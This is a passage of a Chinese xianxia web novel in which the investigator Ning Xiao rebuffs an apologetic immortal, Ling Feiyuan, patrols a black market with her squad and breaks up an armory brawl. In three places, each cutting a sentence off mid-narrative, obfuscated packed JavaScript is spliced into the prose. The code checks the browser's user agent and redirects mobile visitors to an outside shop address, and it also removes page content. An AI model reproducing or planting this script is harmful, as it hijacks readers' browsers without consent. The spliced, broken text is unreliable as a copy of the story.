然而一抬头,院中正站着一个人,叫她下意识停下了脚步。 凌非远主动走来,脸上带着笑意,仿佛他们从来不曾有过嫌隙。 “我看到布告了,恭喜你成为组长!” 宁霄有些防备地看着他,准备迈步离开。 “那你明天,是不是也要参与联合督查了?” 闻言,宁霄停下了脚步,对他的提问很是不解,于是看着他,等着他的下文。 “联合督查仙督也会参加,我可以跟你们组一起吗?” 凌非远满眼期待地看着她,却不料宁霄开口便问道:“仙人是有什么事吗?” 如此冷漠的态度,将凌非远眼神中的光亮都浇熄了,然而此时落寞的神情,倒是比刚才温和的笑颜更加真实。 他深吸了一口气,像个犯错的孩子一般,垂着头抬着眼,小心翼翼道:“对不起。我就是……想跟你道个歉。” 见她不为所动,凌非远立刻话赶话地解释道:“我不是故意骗你的!这我是第一次来修界,本来想跟着那罪犯回去端了他的老巢,结果把自己给搭进去了。所以被救以后,对修界有些抵触和担忧,这才没有第一时间跟你坦诚以待……” “嗯,我知道了,再见。” 宁霄语气平静,脸上的神情没有丝毫触动,抬脚便要离开,却在错身时被他拉住了手臂。 “宁霄,可以原谅我吗?” 已经散值了,缉凶司的小院里虽然人不多,但并不是没有。凌非远作为仙人,实在过于显眼,宁霄只凭余光就能看到不少人在驻足观看。 一个仙人,带着这样的表情跟她一个新人拉拉扯扯,不可谓不新奇。 宁霄当即停下脚步,扭头看着他,平静而认真道:“请相信,在这件事情上,我绝对理解你。” “所以,不用再这样了,”宁霄握住他的手腕,将他的手从自己手臂上拽了下来,“我已经不生气了。” 她的眼神认真,可细看之下,只觉得眼底没有一丝波澜。 “可你还没有原谅我。”凌非远语气轻缓,温软的眉目似有水光潋滟,无措与希冀纠缠成了模糊的一团。 面对他的提问,宁霄仿佛没有听见一般,转身就走,没有给他再说话的机会。 直到她的背影消失在了缉凶司院门外,凌非远依旧站在原地一动不动地远望着。 尽管和宁霄相处的时间很短,但他几乎可以确信,她刚才的话没有半点虚伪,或者说,她这样的人,根本不屑于说谎。 可是他的心却木愣愣的,难过的感觉没有丝毫缓解,甚至变得更加严重,好似一路下沉,溺入了幽深的心湖。 是啊,她或许真的理解他当时的处境与选择。 可是,她并没有说要原谅。 - 难道理解还不够吗? 宁霄回到小院,做完了琐碎的一切,躺在卧房的床上,有些烦闷。 她原本以为,和凌非远的关系,就到他离开修界的那天就可以结束了。 被人欺骗的经历过去不是没有过,无非是吃一堑长一智,告诫自己下次要如何小心规避,如何快点识破而已。 可是凌非远实在是叫她有些厌烦。 她当然讨厌被欺骗的感觉,讨厌自己像个傻子一样被人耍得团团转,尤其讨厌自己居然对一个骗子如此真诚相待。 可她也当然理解他的处境。 一个路见不平的仙人,自以为是将计就计的救世之举,没想到却是一朝湿鞋,不仅被人囚困于黑暗和血腥之中,还赔上了长久以来修炼成熟的内丹。 若换做是她,恐怕也会对这样一个人妖并行的苦痛混沌之地留几分戒备。 从理智上来说,她毕竟是这仙人的救命恩人,一句“原谅”,恐怕会让她的前路少几分波折,这可是无数人、妖都梦寐以求的机缘。 可不知为何,她的心底总翻涌着一股莫名的情绪,以至于一句“谅解”都好似烫嘴似的吐不出来。 她思来想去辨不分明,干脆摇了摇头,不再去想。 只喃喃道:“宁霄啊宁霄,上当受骗,可是会要命的。” 师傅死之前,也经常在她被骗时唠叨这句话,只是当时性子倔,被骗了也不肯认,后来师傅死了,自己养活自己,她就只能在被骗后自己对自己唠叨这句话,好让自己长长记性,别在同样的骗术上再栽跟头。 如今,这句话好像已经成了一种习惯,以至于一说出口,刚才还犹疑不解的情绪就立刻转化成了一种更加熟悉的戒备感。 一个人行走江湖,戒备一切,才让她更加安心。 “是啊,他有他的苦衷,可是,谁能保证骗子只会欺骗一次呢?” 她自言自语着,安稳地闭上了眼睛。 - 第二天如期而至,宁霄出门前,在暗房鼓捣了半天,挑了一些常用的符箓和药品,早早来到六房等候出发。 前辈们也已经就位,一边收拾东西一边交代他们要带哪些东西去巡逻。 内间的武器和药品应有尽有,除了基础的东西以外,五组按照前辈的指点以及个人的习惯带了不少东西,以备不时之需。 “这些符箓和药丸大家需要也可以拿一点,”宁霄将一个小包袱打开,露出了里面零零散散的东西,“逃跑用的烟幕和攻击型的符箓都有,药丸在关键时候可以保命。” “哇!宁霄,这是你特地买的吗?”罗靖惊叹着,当即出手拿了一些,塞进了自己的腰包里。 “符箓是我自己做的,这些药是让药房做的,我觉得大家可能用得上。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029849|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“真的吗?好厉害!”余此将几张符箓握在手里,看得非常仔细,仿佛在研究什么名画。 唐锋似乎有些不屑,但在听到是可以保命的药丸后,还是拿了几丸,塞进了随身的小瓶里。“谢了。” 做好准备后,宁霄也带领着五组准备出发了。 率先走出六房的陈平轩立在门外,不知道在做些什么。 不等宁霄走近,陈平轩已经让出路来,回头看向她,同时,也露出了门外的凌非远。 宁霄好险没有直接转身跳窗出去。 人家毕竟是仙人,是所有修士都梦寐以求能够达到的境界,而自己不过是缉凶司一个小小的组长,任是谁知道了这件事,恐怕都会觉得是她不知好歹。 宁霄定了定神,冷言道:“仙人是有什么事吗?” 昨天离开时还是一脸的委屈忧愁,今天再见,他居然又恢复了众人面前的那副和善面貌。 “我想跟你们一起去督查。” “我们还是新人,经验不足,跟我们去恐怕……” 这次,他竟没有让宁霄说完,只是面带笑意道:“我也是本次联合督查的仙督,可以自行决定要参与哪些事务。陪同缉凶使参与联合督查也是内部集议交代的一部分。” 话都说到这了,宁霄也懒得再拉扯。 反正组内除了陈平轩和罗靖外,几乎都是没嘴的葫芦,他在应该也不会影响督查。 思及此处,宁霄只好妥协,闭上嘴巴带着他一起出发了。 见她认栽,跟在队伍后面的凌非远不由得悄悄舒了一口气,随即便紧抿着上翘的嘴角同他们一同出发了。 昨天被宁霄冷脸拒绝后,他倒是没有太过伤心,毕竟百来年的经验里,他尤其信奉一句话——精诚所至,金石为开。 要说耐性和坚持,比起修仙之路来说,这样死皮赖脸地跟着救命恩人实在算不得什么困难。 - 黑市距离缉凶司有些距离,他们骑着踏影来到距离黑市附近的一处分署,将踏影留下后,一起往黑市的方向走去。 在宁霄的记忆中,黑市原本是隐藏在地下的,没有什么固定的地点,只是在人们中间暗自联络,交易一些市面上不常见的或有价无市的东西。 后来生意往来越来越多,人们不得已找了个郊野固定下来,表面上依然做些合法的生意,但内部依然存在一些难以禁止的事情。 尽管缉凶司来回铲除过几次,但黑市依旧是能一次又一次地死灰复燃。 随着来到修界的人、妖、兽越来越多,缉凶司的事务也愈发繁忙,也就给了黑市繁荣发展的机会,以至于到了无法根除的地步。 “那岂不是很危险?出了事怎么办?”凌非远听完陈平轩和罗靖的介绍,很是担心地问道。 “仙人有所不知,修界的人口越来越多了,原本大家只居住在八福大路周围的一片,以及他们原本生活的位置,后来房子越建越多,都快蔓延到三象门山脚下了。” 陈平轩说罢,压低了声音,生怕周围的行人听到,“这么多人,缉凶司哪能应付得来,只要是有人主动来报案的才会处理,要是没有报案人,也没有缉凶使发现,是没法处理的。” 听罢,凌非远看了看周围热闹的铺子和人流,有些担心道:“那他们住在这里,不害怕吗?” “黑市虽说危险,常常有见不得人的生意,但表面上大家是不敢犯事儿的,只要是能报到我们这儿的案子,我们是不会心慈手软放过的,所以大家才敢待在这儿,毕竟需要躲躲藏藏的是坏人,不是他们这些普通百姓。” 这还是凌非远第一次来这儿。 他之前去的地方都靠近中心区域,相对繁华一些,而在这里,建筑参差不齐,人员构成更是复杂,牛头马面的和布衣修士同在一条路上行走,实在是奇观。 “仙人别担心,这里还只是黑市外围,都是些普通人。”陈平轩一边介绍一边跟着大部队前进。 “你们叫我名字就好,我叫凌非远。” “啊?这合适吗?”罗靖本来就因为督查而感到兴奋,在听到仙人如此平易近人时,原本的紧张也彻底被她丢掉了,“非远?” “嗯。”凌非远笑着应道,引得组内的气氛都轻松愉快了不少。 就在此时,人群中突然跑出了一个人,直冲宁霄而来,宁霄当即手握刀柄,可那人却在靠近时,扑在了她的脚边,拽着她的衣角哭诉起来。 25. 联合督查(六) “大人,求求你,阿燕还在里面啊!帮帮她吧!!救她出来好不好!” 不等宁霄行动,凌非远已经抢先一步蹲在了此人身边,想要将她搀扶起来。 可是她只是拽着宁霄的衣角,任由别人朝她投来审视的目光。 “你先起来,有什么事情好好说。”宁霄握住她的手臂,将她从地上拉了起来。 “大人您不记得我了吗?我也是那天被你们从笼子里救出来的丹奴之一,我的朋友和我是一起被抓的,可是我等到案子结束都没有等到她回来!她还活着啊!大人您救救她吧!” 丹奴的案子,组内就只有宁霄一个人参与过,于是她下意识看了凌非远一眼。 只见他也望向自己,眼中满是同情和愤慨,显然和面前这位受害人站在了一边。 抬头环视,周围到处都是看热闹的,这让宁霄有些头大。 但该说的话还是得说,她只能耐着性子解释道:“上次的案子已经结案了,后续线索也没有找到,如果你需要找你的朋友,可以另外提供线索报案。” 那受害人一听这话,顿时泪流满面,原本的恳求霎时变成了质问,她指着宁霄的鼻子喝道:“你当我没去缉凶司报过案吗?去那儿也是这个回答!你们难道就不管了?!难道你们救了那个仙人以后就不管我们普通百姓了?” 此话一出,在旁搀扶关怀的凌非远顿时有些尴尬,可纠结半天后,还是帮着那人询问道:“真的不能继续查下去吗?” 面对着出闹剧,宁霄可谓是身心俱疲,无奈非常。 这个人今天能认出自己,找上自己,必然是出于对自己的信任,可是她的确无能为力。 当时参与案件时,自己只是一个小小的新人缉凶使,连个正式的组别都没有,根本无法参与到案件的核心里去,甚至连那罪犯的老巢都没去过,又怎么可能左右案件的推进和结果呢? 即便自己现在已经是一个小组的组长,也依旧没有权力随随便便调遣自己组内的人去办案,何况现在只有这个受害人的一句恳求,又怎么去查呢? 见宁霄沉默,陈平轩也大概猜到了她的难处,立刻上前安慰解释道:“姑娘,我们也只是听上面的调遣办事,当初的案子是上面主导推进的,大家都很重视,连仙人也参与其中,你们肯定不会不知道。” “这么多能人参与进去,必然是倾尽了心血才换来现在的结果。我知道你肯定很担心你的朋友,可是你这人证物证什么都没有,我们又怎么继续往下查呢?” 那受害人闻言,口齿不清地辩论了几句后,突然哭嚎起来,大约也是明白这其中的困难,她松开拉着宁霄的手,软布般跌倒在地,引得众人纷纷驻足。 陈平轩推了推宁霄,道:“走吧宁霄,这不是咱的错,上面的人都解决不了,我们又能怎么办啊?!” 宁霄也明白,自己接下来的日子里,将会面对无数这样哭嚎痛苦的受害人,可是自己也是一个普通人,万事尽力即可,别的,唯有听天由命。 “嗯,走吧,该查铺子了。”她放弃了扶那受害人起来的想法,带着大家转身离开,与此同时,也狠心将这桩案子抛到了脑后。 立在原地的凌非远则左右为难,最后只能任由那受害人哭泣,自己则快步跟上,试图拦下宁霄。 “宁霄,真的不能帮帮她吗?” 宁霄没有生气,只是有些无奈,驻足道:“当时查案时你或许不在,但案子是缉凶司和仙人一同办的,你要是好奇可以回去问问你的同伴们。” “好。”凌非远顿时眼神发亮。 “还有,你作为当事人,比我们了解的信息更多,你如果想继续查,可以去申请调配资源要求继续查案,我只是六队五组的组长,有心无力。抱歉。” “如果我办成了,你可以原谅我吗?” 看着他清澈的双眼,宁霄已经无奈到笑不出来了,因为凌非远似乎把她的话当成了什么有用的建议,看样子似乎真是要去实践一番。 对此,宁霄没有回答,只是默默转身,想要远离这个天真到有些烦人的人。 - 黑市的外围几乎像是一个异国间的交际枢纽,无论是人群、建筑、货品、穿着还是语言,到处都是一片混杂。 别说是仙人,就连在修界生活了几十年的人,也很难完全适应这里的生活。 毕竟这里看似繁华,实则是一片随时可以随风散去的交易地,多少人汇聚在这里,不为生活,只为了利益。 因为联合督查的阵仗比较大,宁霄决定先在外围兜一圈,采取间隔抽查的方式先震慑一下潜在的罪犯。 他们就近挑了一家铺子进去,入目皆是一些点心小食之类,品种繁多。 “客人,您……”小厮迎面过来接待,一见他们的装束,脸上的笑容都抖了一抖,“啊,大人,是要买东西还是?” “随便看看,你们掌柜呢?” “哦,就在后面,我去叫他出来。” 不多时,柜台后面的帘子一掀,出来一个“男子”。 他的身体和普通人很像,但头却生得奇特,头发短寸,皮肤几近黑色,还带着一条条黑色的纹路和半点,眼睛有种要挤出眼眶的感觉,很大,却没有瞳仁,却会随着他的动作闪烁出星星点点的反光。 唐锋登时就亮了刀,店内的客人有的也低呼出了声,但大部分都是见怪不怪的样子。 掌柜见状立刻举起手来,露出了四只镰刀一般黑色细长的手,随即一阵带着高频颤音的声音传来:“大人饶命,我不是坏妖啊!” 一旁的刘亦筱看了半天,开口淡淡道:“蝽象。” “是!我是蝽象,我不是坏妖!” 闻言,宁霄立刻将唐锋的刀按了下来,随即走近柜台,开始例行督查。 “有身份帖吗?还是挂名?” “有的有的,有身份帖,我就是靠着开这家店才拥有身份帖的。桂儿,快去帮我拿来。” 不一会儿,小厮就将一张薄薄的铁券递了过来,上面写着掌柜的详细信息,经过术法验证,身份帖为真。 宁霄将东西还回去,环顾四周,问道:“店里的东西都是你做的?” “是,我喜欢做吃的。”掌柜刻意让声音低沉了一些,显得温和了不少。 “店里生意很不错嘛,看来东西很好吃咯?”陈平轩一边说,一边随手将一块小糕点塞进嘴里,结果只嚼了一下,就吐了出来,“咳咳,呃啊!这什么啊?!” 掌柜摇晃着四只足,声音慌张,“诶呀!那个是给妖做的虫饼啊!” 闻言,陈平轩掐着自己的脖子吐得更厉害了。 趁着他呕吐的时间,其他人进后厨仔仔细细检查了一遍后,确认没什么问题,这才领着一脸菜色的陈平轩走出了店门。 “身份帖是什么啊?”凌非远有些疑惑地问道。 “咳咳,凡是来修界的人和妖都需要身份帖来证明身份,只有有身份的人和妖才能得到日常生活和安全的保障,要是没有身份的人死掉了,缉凶司也是没法查案的。” “唔,原来是这样,那我是不是得去要一份啊?” “您真是多虑了,仙人哪需要这个啊,你们的能力都在修界生灵之上,况且现在您是仙督,凭借仙督的身份就可以顺利出入各处了,一样的。” 听完这话,凌非远并没有很开心,甚至露出了些许担忧的神色,“那万一仙人遇险,岂不是连身份都难以辨认了?” “呃……”联想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040179|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他遭遇的案子,陈平轩顿时有些答不上来了,只能无助地望向自己的同伴。 “仙人出事自有仙人辨认,若是有一天仙人都沦落到需要修界来辨认身份,”宁霄望着远处,哼笑了一声,“那么不说仙界,修界和人间必然已先一步落入了万劫不复的境地。” 话糙理不糙,众人听罢没有一个人反驳,唯有凌非远,神色复杂。 - 在黑市外围才转悠了不到一圈,太阳就准备落山了。 第一天的巡逻颇见成效。 不少来不及躲藏的人被当场抓包,一个两个被记录在案,等着去缉凶司报到,与此同时,也让那些有了贼胆的人紧了紧皮。 原本陌生的组员们也在一致对外的事务中多了些默契。 一天下来没有出事,宁霄已然是心满意足。 回到缉凶司后,她和大家约好了明天督查的时间,便就地解散了。 然而,出了缉凶司还没走几步,宁霄便听到身后缀了一串脚步声。 她猛地回头,就看到了凌非远,烦闷的心情再次涌现了出来。 “仙人还有什么事吗?” “我……可以住你家吗?藏风苑有点无聊。” 不得不说,仙人的眼眸的确是澄澈,宁霄都怀疑他飞升时是不是压根没经历过什么人情世故?否则怎么可以没眼力见到如此地步?! “不可以。” “我可以付租银的!你刚买下院子,不是没什么钱吗?我可以多付的!”他当即就去掏自己的衣襟,摸出了几锭银子,捧到了她的眼前。 “我家不是客栈,恕不接待。” “可……我在修界不认识别人,只认识你。你不是说修界凶险,我住你家的时候,你还嘱咐我不要给别人开门……” 宁霄闻言,当即上前双手握住他的肩膀,推着他原地转了半圈,随后指着山下灯火辉煌的八福大路道:“嫌钱多可以去那儿花,只要银子到位,绝对安全。” 一个仙人,居然跟她说修界凶险?实在是可笑! 宁霄说罢拔腿就走,顿时恨三千太小,不能载着她狂奔回家。 可这凌非远不知是脑子出了什么毛病,一路上缀着,愣是跟着她回到了小院附近。 难不成自己不想原谅这件事真就这么要紧?还是说他飞升太早,对这些小事偏偏也如修炼般重视? 宁霄想了一路都想不明白,只能脚步不停,在小院前快速做了个手决后,又立刻关上了禁制。 随后又把院门打开,侧身一闪,躲进了门后。 门缝关闭前,看到凌非远拎着手里的小红鱼吊坠,被挡在了门口的禁制之外,宁霄这才安心关上了院门。 “幸好把禁制手决换了。” 她低声喃喃,插好门闩,一扭头,竟与一个人面面相对! “他谁啊?” 近在咫尺的折纸面具背后,传来了一道理所当然的熟悉声音。 “我没在的时候,你还领别的人来了?还是个男人?!”李琉君将白底红纹的面具一摘,抱臂质问道。 宁霄出鞘的刀瞬间落回了刀鞘之中,她长舒了一口气,答道:“一个骗子。” 一扭头,三千正从堂屋出来,见她回来了,立刻飞奔了过来。 “我不在有好好吃饭吗?嗯?”宁霄摸着它柔软蓬松的毛发,心情好了不少。 李琉君撅起嘴巴,一脸不信的样子,她学着宁霄的样子蹲下来想要摸一摸三千,却被它给躲开了。 “你们缉凶司不抓骗子吗?我怎么觉得你更像是贼呢?回自己家还这么鬼鬼祟祟的。” “嗐,从天而降的上峰,我怎么抓?” 李琉君顿时心领神会,做了个嫌弃的表情。 26. 联合督查(七) 第二天照例是要去巡逻的。 宁霄到六房的时候,其他的组也还没有出发。 环顾四周,没有看到凌非远的身影,宁霄这才勉强松了一口气。 “宁霄?”秦荣正从外面进来,一眼就看到了站在门口的她,“正好,带你的人去领一下资用,这次联合督查又发了一批东西下来。” “好。” 宁霄当即应下,又叫了陈平轩和罗靖一起,然而唐锋一听到可以领武器,竟罕见地主动跟了过来。 “我也去。”他抱臂而立,依旧是一副目中无人的模样。 原本还在位置上翻书的余此,听到动静,也跟着跑了过来。 于是原本三个人就可以完成得事情,最后呼啦啦围了一堆。 “这样,唐锋和陈平轩去武器库,余此和罗靖去药房,我去内院。” 对于这样的安排,大家都没有异议,立即各自忙活去了。 宁霄向来没有打听别人行踪的习惯,来到廊道尽头时,悄悄窥探了一圈,见没有仙人的踪迹,才快步来到内院指定的房间领了每个队伍的任务安排和文书案卷等内院简册。 她抱着东西回到廊道,看似镇定,心里却好似做贼般舒了一口气,这才踏着安心的步子回到了六房。 相比而言,她的工作不是很繁琐,将文书带回去后便给各组分发了下去。 简册中的内容比起上次集议的口头吩咐要全面许多,将每个队伍包揽哪一条街哪部分铺子都清晰划分了出来。 她仔细研究了一番后,决定放弃昨天随意挑选铺子的检查方式,而是按照简册上的提示,选择一些案件多发的地方进行初步的检查和震慑。 等到她将简册都研究完时,其他的组已经陆续出发去巡逻了,可是去领资用的组员却一直不见人影。 一旁钻研案卷的刘亦筱压根没有察觉到有什么不对,宁霄稍等片刻后,不由得有些心急。 “阿筱,你在这儿待着,我去看看他们怎么还不回来。” 宁霄首先去了院中西侧的药房,那里离饭堂很近,中间只隔了一条小路。 踏入药房时,她一打眼就看到了余此和罗靖。 只见罗靖正跟里面负责看守药品的同僚聊得热火朝天,余此则对着一桌子的药品仔细核验着。 “余此?数量有问题?” “唔?”余此抬起头来,摇了摇头,“数量没问题,我是担心里面有差错。” 闻言,宁霄在心里默默叹了一口气,随即伸手将药品一个个整理进了包裹。 “数量足够就可以了,反正短时间内也用不着这么多。” “不用核验一下了吗?万一有错漏和坏的……” “你看,上面都有缉凶司的印章和对应的次序,如果有差错可以调换。” 原本跟罗靖聊天的同僚听到这话,也跟着附和道:“是啊,我也是这么跟他说的,他真的太认真了,反正都是司里的资用,又不用钱,有短缺再来换呗。” 得到保证后,余此这才抬头看了看宁霄,见她点头示意,他才肯乖乖把药品收好,按照清单上的数量清点完毕后,揣着包袱跟着宁霄往外走去。 罗靖也恋恋不舍地告别了刚认识的朋友,跟着他们走出了药房。 “宁霄你怎么来了?”罗靖蹦蹦跳跳,看起来心情不错。 “马上要到出发时间了,你们一直不回来,我有点担心。” “啊?陈平轩他们也没回去吗?” “没有。”宁霄摇了摇头。 “那我们去那儿看看呀!我还没去过武器库呢!”罗靖兴奋不已,一溜烟已经走到了前面。 见状,宁霄无可奈何,只好让余此先把药品送回六房,整理归类。 “好!”余此当即便应下了。 见他这样,宁霄心里也安心了不少。 虽说他话不多,有时候还有点死心眼,但胜在听话,和其他组员比起来,省心了不止一点半点。 她默默叹了一口气,扭头跟着已经跑远的罗靖朝武器库的方向走去。 缉凶司的武器库就在内院的东侧,和训练场紧挨着,宁霄也还是第一次去,之前只在训练场远远瞧见过那边的山洞与门面。 缉凶司原本就是靠山而建,武器库直接藏在了山洞之中,其保管的严密程度,几乎称得上是缉凶司的核心所在了。 从内院进到山洞,还得经过两道关卡,以确保进入山洞的都是内部人员。 一到训练场,便能看到东北方向的门洞。 武器库的门洞外依山建了一片建筑,作为进入武器库前签订繁琐文书的地方。 眼下门洞前已经没什么人派对了,可那些领了资用的人却揣着东西在原地流连,伸长脖子朝建筑内观望着,久久不肯离去,时不时还跟周围人指指点点说着什么。 宁霄顿时有种不好的预感。 门洞外的建筑本来就设有护法屏障,分发的资用早就被武器库的人取出分好放在了门洞外的建筑内,来取资用的人只需要签好相应的文书即可取走,怎么会无缘无故堵这么多人呢? 宁霄和罗靖快步上前,挤进了武器库的外殿。 才踏入殿内,便听到左侧一阵喧闹,宁霄当即穿过人群进入内围,便见存放武器的堂屋内一片狼藉。 人群中央,唐锋正与几个人缠斗,陈平轩则在旁护着六队的武器,同时在后方施法保护唐锋的安全。 宁霄登时头疼不已,环顾四周,只见不远处正站着几个武器库的护卫,然而他们却对此见怪不怪,没有一点要插手阻止的意思。 “你个小兔崽子,真是不想活了!”人群之中,不断有辱骂声传来。 宁霄扭头一看,与唐锋对峙的几人已经拉开了架势,细看之下,她便认出了几个人,都是臭名昭著的八队的前辈。 唐锋的身上和脸上已经挂了彩,但是没有丝毫退缩,眼神里除了愤怒,还透出了几丝兴奋的光。 他的衣衫因为打斗有些凌乱,恰好露出了脖颈处的一片红痕。 宁霄的心顿时提到了嗓子眼儿,在对面的武器还没有凑到唐锋近前时,她便立刻出手掐诀,帮唐锋挡下了几个人的围攻。 罗靖见此情形,也不管自己的同伴占不占理,当即掺和进去跟一个准备偷袭的人打在了一起。 不等他们反应过来,宁霄又摸出一把符纸,攻击的防御的通通都使上。 符纸还没用完,她就已经来到了唐锋的身边。 她扭头细看,才发现他脖颈处的红痕只是一块胎记,悬起的心这才放回了肚子里。 然而对面不依不饶,趁着她不专注,一道法力立刻袭来,如同一股火焰,所到之处一片蒸腾,连罗静那边的战况也受到影响,不得已暂时分开。 唐锋也不管自己的组长怎么想的,举起他的长刀,用手一抹,刀身上瞬间燃起一片火光,随着他挥动的动作,火光在半空中如同旗帜般燃烧,随即猛地抵住了对方的攻击。 然而,对面的法力也如火焰般侵吞着他的长刀,刀身甚至发出了噼啪的脆响,眼看就要支持不住。 可对方毕竟不止一人,立刻有一道身影举着一柄短斧趁着两方对抗,从下方擦着光滑的地砖到来,想要攻击唐锋的双腿。 即便讨厌混乱和失控,但此时此刻的宁霄已经顾不得其他了。 她毕竟是五组的组长,绝不可能坐视其他人欺负自己的组员。 来不及思索,她拔出佩刀狠劈过去,打乱了持斧之人的攻势,随即又丢出一道符纸,几个手决一出,随着她一跺脚,便似有一股大风顺风吹来,陈平轩也借此机会施法助力,大风随即将火焰朝前朝下压去。 对面施法之人当即被自己的法力所反噬,向后倒去,火焰也随之消散在了空中。 眼看对面还要继续,宁霄手持佩刀跨出一步,挡在了唐锋前面。 “为什么伤我组员?!” 被自己的法力击倒的男人捂着胸口被人搀扶起来,大骂道:“兔崽子,你组员抢老子东西,我打他是天经地义!” “说谁兔崽子呢?就你年纪大,就你老不死!”罗靖不管三七二十一已经叉着腰跟对面骂了起来。 宁霄无奈,只能环顾四周,求助其他人。 然而唐锋见状只是恶狠狠地盯着对方,压根没有要解释的意思。 好在陈平轩快步来到宁霄的身边,一面是解释一面是指责道:“每队的武器装备都是分好的,我们来的时候发现我们队的资用被他们翻乱了,他们把小件和不趁手的丢给我们,把他们喜欢的全挑走了!” 此话一出,对面还没说话,周围围观的人立刻附和了起来。 “就是就是,仗着自己队长不追究,每次都这样,把我们队的也翻开了,拿走了最好的一柄长枪呢!” “有损坏的武器还得重新去换呢,他们倒是省事儿了。” … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049404|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 然而面对这样的指责,对面八队的人却没有丝毫羞耻心,竟然指着宁霄他们叫嚣道:“好你们几个兔崽子,我就是拿了怎么样?可你的人把我们打成这样,你们也别想跑!要么一千颗灵石,要么去领罚关禁闭!” 宁霄面无表情,扭头问唐锋道:“是谁先动手的?” “哼,谁先动手有那么重要么?他们就是欠打!” 闻言,宁霄没有丝毫恼怒,只是沉声道:“打就打了,对上这样的人动手也难免,我只是想要一个答案。” 唐锋撇过头去,不肯开口。 “就是他们先动手的,”陈平轩看不下去,凑近替唐锋回答了,“本来我们发现不对,要去跟发放武器的人讲的,后来看到他们在翻别人的物资,我们就过去理论,没想到他们不讲理,还推推搡搡的,拽着唐锋的领子就骂他,他这才动手的。” “嗯,我知道了。”宁霄点头,放心了不少。 可不等他们先追究呢,对面那群人的态度反倒更加嚣张。 “哼,你就是那个宁霄是吧?”为首的人上下打量了她一眼,伸出手指冲她指了指,“你给我等着,一群崽子还以为能翻天了?!等我回去上报仲队,你们不给个说法别想好过!哼!” 站在身侧的唐锋顿时就要冲过去再干一架,却被宁霄按住了肩膀。 “他们是打不过你,故意激你呢。快到出巡时间了,别跟他们多费口舌了。” 说罢,她将地上散落的武器捡起,递给了陈平轩,随即扭头道:“你们能力这么差,把别人的好武器挑走也是白搭,无非是浪费罢了。” 那群人一听这话,还有不服的要找宁霄的不痛快,却被周围的同僚堵住了去路,借着他们被打服的机会,纷纷把自家被偷走的东西拿了回来。 离开洞窟外殿的时候,负责看守的护卫没有丝毫失守的担心,反而津津有味地看着殿内的热闹,嘀嘀咕咕聊着。 对此,宁霄也有些习惯了。 当初通过缉凶司的选拔后,什么样的奇葩都见识过了,早就明白了一个道理:规矩是死的,人是活的。 只要规矩是人来执行和维护的,那么规矩就成了可以被烧化的铁。 被搭救的陈平轩总算是松了一口气,叽叽喳喳跟他们吐着苦水。 “真是服了!怎么会遇上这么一群不要脸的人呢?!本来我还想着多一事不如少一事,实在不行缺了的武器跟大家换换就好了,没想到唐兄直接就动手了!唉,要不是怕被罚我也是真想跟他们拼了,真是欺负人!” 他拍着唐锋的肩膀,一个劲儿夸他厉害,原本紧绷的唐锋也稍微褪去了一些愤怒,身形都放松了不少。 宁霄则将唐锋手里抱着的武器接过,嘱咐道:“先去用点药。” “不用……” 不等唐锋说完,宁霄又接着道:“一会儿回去你别说话,有什么事我跟秦队解释。” 闻言,一直摆着张臭脸,好似对神仙都不屑一顾的唐锋,竟罕见地露出了一丝错愕。 “听到了吗?”宁霄扭头看向他,认真嘱咐着,“别一声不吭把罪都担自己身上。” 唐锋眨了眨眼,垂眸用几不可闻的声音应道:“嗯。” “宁霄~你好好呀~你昨天发的符纸还有吗?!我刚才试了一下,好好用!”罗靖横插一脚,打断了两人的对话,仿佛已经把刚才的愤怒和担忧的情绪丢了个干净,蹦跳着缠着宁霄撒娇。 “行,好用的话我再拿给你。” “嘿嘿,说实在的,什么罚不罚骂不骂的我现在都不在乎了,”陈平轩压抑着自己兴奋的语气,低声说着,“我感觉咱们组还挺好的!比那群恶霸强多了!” “那当然了!不过,我还记得选拔的时候团体作战,我们跟宁霄一组,你还不服她来着!”罗靖当即笑嘻嘻地拆他的台。 “那个时候谁都不了解谁,宁霄跟我们一组,她根本不管我们的死活诶!我还以为她很冷血呢!结果最后还是她带着我们那组扭转局势的,我立马就消气了!” 话音刚落,便听身旁沉默不语的唐锋若有所思道:“原来是这样,我还以为你是她的狗腿子。” “诶诶诶过分了啊!”陈平轩用力砸了他一拳,伸手揽着唐锋的脖子,将他也拉入了他和罗靖的欢声笑语之中。 连一旁的宁霄都被这融洽的气氛所触动了,原本还在想着怎么跟秦荣交代,此时却笑着听他们说起了笑话。 27. 联合督查(八) 回到六房时,其他的组已经离开了,秦荣还没走,正坐在集议室内翻看着文书。 见他们回来,当即问道:“东西都取回来了?上面发的什么简册?给我看看。” 宁霄将自己带回来的简册放在桌上,将涉及联合督查的相关文书递给了秦荣。 